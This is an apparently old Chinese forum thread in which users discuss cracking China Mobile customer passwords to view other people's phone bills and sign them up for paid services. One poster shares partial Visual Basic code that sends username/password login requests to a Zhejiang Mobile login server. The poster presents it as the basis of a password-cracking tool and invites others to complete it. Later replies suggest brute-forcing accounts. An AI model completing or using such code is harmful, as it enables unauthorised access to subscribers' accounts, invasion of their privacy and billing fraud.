破译密码,给钱!破译密码,给钱!破译密码,给钱!破译密码,给钱!破译密码,给钱!

[bigtack]

就是通过这个网站:http://www.chinamobile.com/ZZFW/得到任意想要的手机密码,这样就能看人何人的话费了!是不是很有意思?很有挑战性!?

[咚锵]

啊

[阿泰]

果然很有意思！！很有挑战性！！我怎么没想到呢？ ^_^
不但可以看别人的话费，还能“帮”他定制各种服务，让他不打电话就能花钱
等等等等等等

但是。。。有人能破吗？

[mndsoft]

你有亲戚在电信吗？
这不就破了吗？（注意：亲戚官可要大啊，呵呵……）

[chan5423]

大哥呀，有创意，有胆量，下次是不是该打银行的主意了吧

[南山明月]

老大，这是行不通的，网页资料和 手机用户数据不在一台服务器上,天真呢

[jarraytan]

是哦，不错，那你破破我手机密码看看？

[yingxiangchen]

........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

[sirious]

down! 好好学点习吧！ 嘿嘿

[ssihc]

可以破

[ssihc]

Private Sub 登陆_Click()
Dim cParamName As String
Dim cParamFlavor As String
Dim cSeparator As String
Dim cPostData As String
ReDim aByte(0) As Byte
Dim edtPostData As String
Dim i As Integer
cParamName = "userName="
cParamFlavor = "userPass="
cSeparator = "&"
cPostData = cParamName & userName.Text _
& cSeparator & cParamFlavor & userPass.Text & cSeparator & "refer=/MsgSendChoose.jsp?zmccCatalog=0801"
PackBytes aByte(), cPostData

For i = LBound(aByte) To UBound(aByte)
edtPostData = edtPostData + Chr(aByte(i))
Next
Dim vPost As Variant
vPost = aByte
Dim vFlags As Variant
Dim vTarget As Variant
Dim vHeaders As Variant
vHeaders = _
"Content-Type: application/x-www-form-urlencoded" _
+ Chr(10) + Chr(13)
Form1.WebBrowser1.Navigate "http://211.140.32.131//loginAction.do", _
vFlags, vTarget, vPost, vHeaders
ys = 0
su = 0
pas = ""

End Sub
Public Function URLEncode(ByRef strURL As String) As String
Dim i As Long
Dim tempStr As String
For i = 1 To Len(strURL)
If Asc(Mid(strURL, i, 1)) < 0 Then
tempStr = "%" & Right(CStr(Hex(Asc(Mid(strURL, i, 1)))), 2)
tempStr = "%" & Left(CStr(Hex(Asc(Mid(strURL, i, 1)))), Len(CStr(Hex(Asc(Mid(strURL, i, 1))))) - 2) & tempStr
URLEncode = URLEncode & tempStr
ElseIf (Asc(Mid(strURL, i, 1)) >= 65 And Asc(Mid(strURL, i, 1)) <= 90) Or (Asc(Mid(strURL, i, 1)) >= 97 And Asc(Mid(strURL, i, 1)) <= 122) Then
URLEncode = URLEncode & Mid(strURL, i, 1)
Else
URLEncode = URLEncode & "%" & Hex(Asc(Mid(strURL, i, 1)))
End If
DoEvents
Next
End Function

Public Function URLDecode(ByRef strURL As String) As String
Dim i As Long
If InStr(strURL, "%") = 0 Then URLDecode = strURL: Exit Function
For i = 1 To Len(strURL)
If Mid(strURL, i, 1) = "%" Then
If Val("&H" & Mid(strURL, i + 1, 2)) > 127 Then
URLDecode = URLDecode & Chr(Val("&H" & Mid(strURL, i + 1, 2) & Mid(strURL, i + 4, 2)))
i = i + 5
Else
URLDecode = URLDecode & Chr(Val("&H" & Mid(strURL, i + 1, 2)))
i = i + 2
End If
Else
URLDecode = URLDecode & Mid(strURL, i, 1)
End If
DoEvents
Next
End Function

Public Sub PackBytes(ByteArray() As Byte, ByVal PostData As String)
Dim iNewBytes As Long
iNewBytes = Len(PostData) - 1
If iNewBytes < 0 Then
Exit Sub
End If
ReDim ByteArray(iNewBytes)
For i = 0 To iNewBytes
ch = Mid(PostData, i + 1, 1)
DoEvents
If ch = Space(1) Then
ch = "+"
End If
ByteArray(i) = Asc(ch)
Next
End Sub

[ssihc]

上面的代码已经可以破解 浙江省移动公司的部份代码,但可以用了,,你改改吧,,我没有帮你写全

[warran]

暴力破解? =_=

[浪子家园]

暴力破解吧，用一个登陆软件，花上半个月就算出密码是多少了？